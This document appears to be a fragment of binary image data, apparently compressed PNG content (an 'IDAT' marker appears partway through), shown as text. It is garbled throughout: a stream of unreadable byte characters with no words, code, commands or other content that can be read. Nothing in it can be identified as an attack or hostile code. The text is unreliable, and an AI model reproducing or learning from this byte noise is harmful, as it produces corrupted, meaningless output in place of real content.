�N����l@)<6��sK�g<G��R���.d���#?Af����&���R��k;>չ��\d��+�t�H�x)v$�v��/.�R��>��{�'˒���y�ݫ��������ٱr�/$L��DA���XK �ެ�9~ԣ#l�Y"M�"R�I�(@ ��f0�����Z�r�L?d�2�z �>=��'�_��[���bh�~�y\m���I��z�Czo���8}_w��o�?p��v��rZٓ~�?������?�<>.����u���?˳g�I��Ǚ��᯳�Y���2bѬ��4M9}惬���uݳg��O��Y����A�{��4������[���$����´�Zg^=n��1���� �'����YA�_�Ic:I�;�z\F�E�P�������)�ٟ��E�P�.�� ���gU�z�r�q��}�8�Im��|z�k�q�|mrUm��4%`�u��p��N����6����'� R�w݀6i���YM�x6�w]�u�X�pO�n7�� �4�u�I}J?O2U�it�Ʒ���{g��O�M��,���_n}6�I��D������=m�gNZ��@�4��,�Z����N®����8Ba]��Ɯ�sݸ�ss�<�8�V��z�\Yk�7��&�pR�g@�un'-�u�����O��&!s�d>�&g�@�u���i`ݜmb���&:�};����Xw��'���ia�TǦ1����Nj�,l�:���#\O�x�ձ����qֵ��&@\��I��ʇ�;��;�:I��k#����Mu�6�u�; ?N��&�:�F��:���묄9K[�{� ��y� =Kٳ��>���I�y�tR�g����C����,};�ާ��T'l�����^g��_T{?O�g]�g��m�o�:����_�u�>nꛖ��4���r�r'I�uZƺ�>�&yR}�39��>�ަ�g�ߦ��2���P�}�r�<|MU~[Nj��[��ul� ��~;��z�>�v�"��,�q��?K�6��Ie6]���σ9'�����C�J�_w��.�0����D��:�Z�/��g��q��Y��ˠߺ��m��U������/k���\Cg�~����_d_�|�����Y�����~�v?h�'�s�6uMk]]��E����n�o���$�u���ZW��=�뮿m\�y�;�";N� � IDATɒJ�<4� ���ʝ�gR��������4��?��iZ���#�J�U=S��l�$ �M�zYW�L�u���E�"�Ɇj�S��8��[�v�.$c�RG�9}.�ݺ�&�˦m{�}�{v]]�.�ӱ�� ח�h���.Oi!��kB�N�u��VHp��'�؎MƐ��ӑ^�*����Ъn?����7`�Ϥz�#�҇?NWn��L�V:�`��RM��Rg���w���N_��m���k'YsJ)f����Lw�:������:�=����?��Ke�ol�4<Ix�����px�`��0�q�Q�QrL�ϣҮ�l�Й9�H�e� �-c4&��ߏq�쟴 kt��*��s2��ȕRdyF�e(��L��Eiƥ����Óɂtm�n[�Fk���5�ָ��1a1�oum0&����X_wۚЎ5��������k��8A���� y�x�����?@��`���~�& I���I����9�Ҧ�Pd���8��s�e<�7mC�������?fb�Z�BXZ%��d��J] :��ZKc-��4FaZ<�dx�#��h�u�+�Ơ����Dcm�̨/'�ݓ�ZLkB�Y���b` �����Z7} ���mK۶h�$��Eڶ s�e1Z��*P��1^ۄ�X\4�l�G���z�x��ç ��y>��O�s���m�J�=����W�eg:ڨ̟v����kuH��I.�u�s�9����ʲ�Z�Ռ�2�Oe�.P���x�PPB�Dt)��|��i&���JIOgS�3��5�i����V���3xJ��N�W{\ ���S�� �o��.+?����=:�|U��}r=��&s-�Z�8����`��U�b������� �Sb�H�y�IS��u�ExЩ.Z �X7~۲� 8��9���k�e��#�����ف'�Q�D>Q�pʾ� m+���{�ď̓La�sB_ú��*Ty������RX֘�D|���Ǭ�4JoX��뤔J���� | ʑ�-�Ԡl�� Ʃ�%J[��(���9=�M B�h"��X�ʺ��gXJ��Z���?���.��W^�s�����zX�`��D�e�+��,:�TZ�Zw�;�4-w���4�rXx�#-J��"@<� q̦� ��ƃ� �J4��B2b��� ��4ذR&:.��X� <0Y)�[�}�/<4ᑐ1X ��.��~�k�BhO�6���T�7��p�pz?��@G�B��������������2�k]���Q:P�_Ҧ�85$ N �[�J�6�ʻ-�iR^uuL��$|n� KTio�h� ��8 �>�����h�9p�j�;Ȕ&�~l�F3��~��EL(�P��Q�e��Z�v�tB�@)�e]y��_P`��,�9�(����$`�RZ%J���n;�}U�T��dy'V��Q�"��&�+q�)P�����X�I�ܼ��(a�h������_�K���u��|Ϧ}�>~��bS^�Z뮲k֗f��d���{x�;d1Ƕł�G�δ[�3�h����e����?�4Z)2�~�ڻW<p�k@�,Y0N�i�ɲ�,w�+��i��#�A�x:�����*�K�I�b��1-�ii��m M�Ҵ��14MKӴ�mCӶAСw���f��N�8Z/^�'@�I�Ä�X�1`�s�D,w�'�f�n��I��':t }Ćv:u�/2P����Qp�^ ��֕T ���KF�)֍J2��(�L�| `�/h:w��X�mM�"�y�W�v��Ngt�(.��$B�+��|���,Wd� �@xF����+��,�ef�F%G����֗�T�V��x�y�2"b���$�c�nNX���+|�PAA�(c�l��ݾ'KI+*�չu�:�V��Q��`Y���ǝ��or[������7k�zֺF���I�';�c uݰZ�����L%����n����5�Q ���.檛���@�ڧSɬ���5:�(/h��"�b�E�{Gi��QJ��P�*��ߛ7��R��,� �z� ��d�C�� �@��8@�`�3h�1m�GGbѬE�:!A�p���PZ����* a�~?��/�n�U'�Y� �d��B1�W#ڤo3� �E Z��ojM�9�*D��d��W9�hɾ����H�w�x�K��,��8�����R�gE4ik��DYp^#�$Y�]�O�\ږ���1-��m����+��7����d2��~�R�[қP�/�����)�Vʋ*q��q�u"zC��sf\��^t�9�TJ�)S]>�O%L�On=��+�B�}彏뛬�u �&A$W��O�{��Y�=-���bU� 60�X����O��.�}�.�sHXR�§���_�a��(��)6��0�g2�5_�eNsZ3n�����1E�8z���ݹ�ڎ� ���&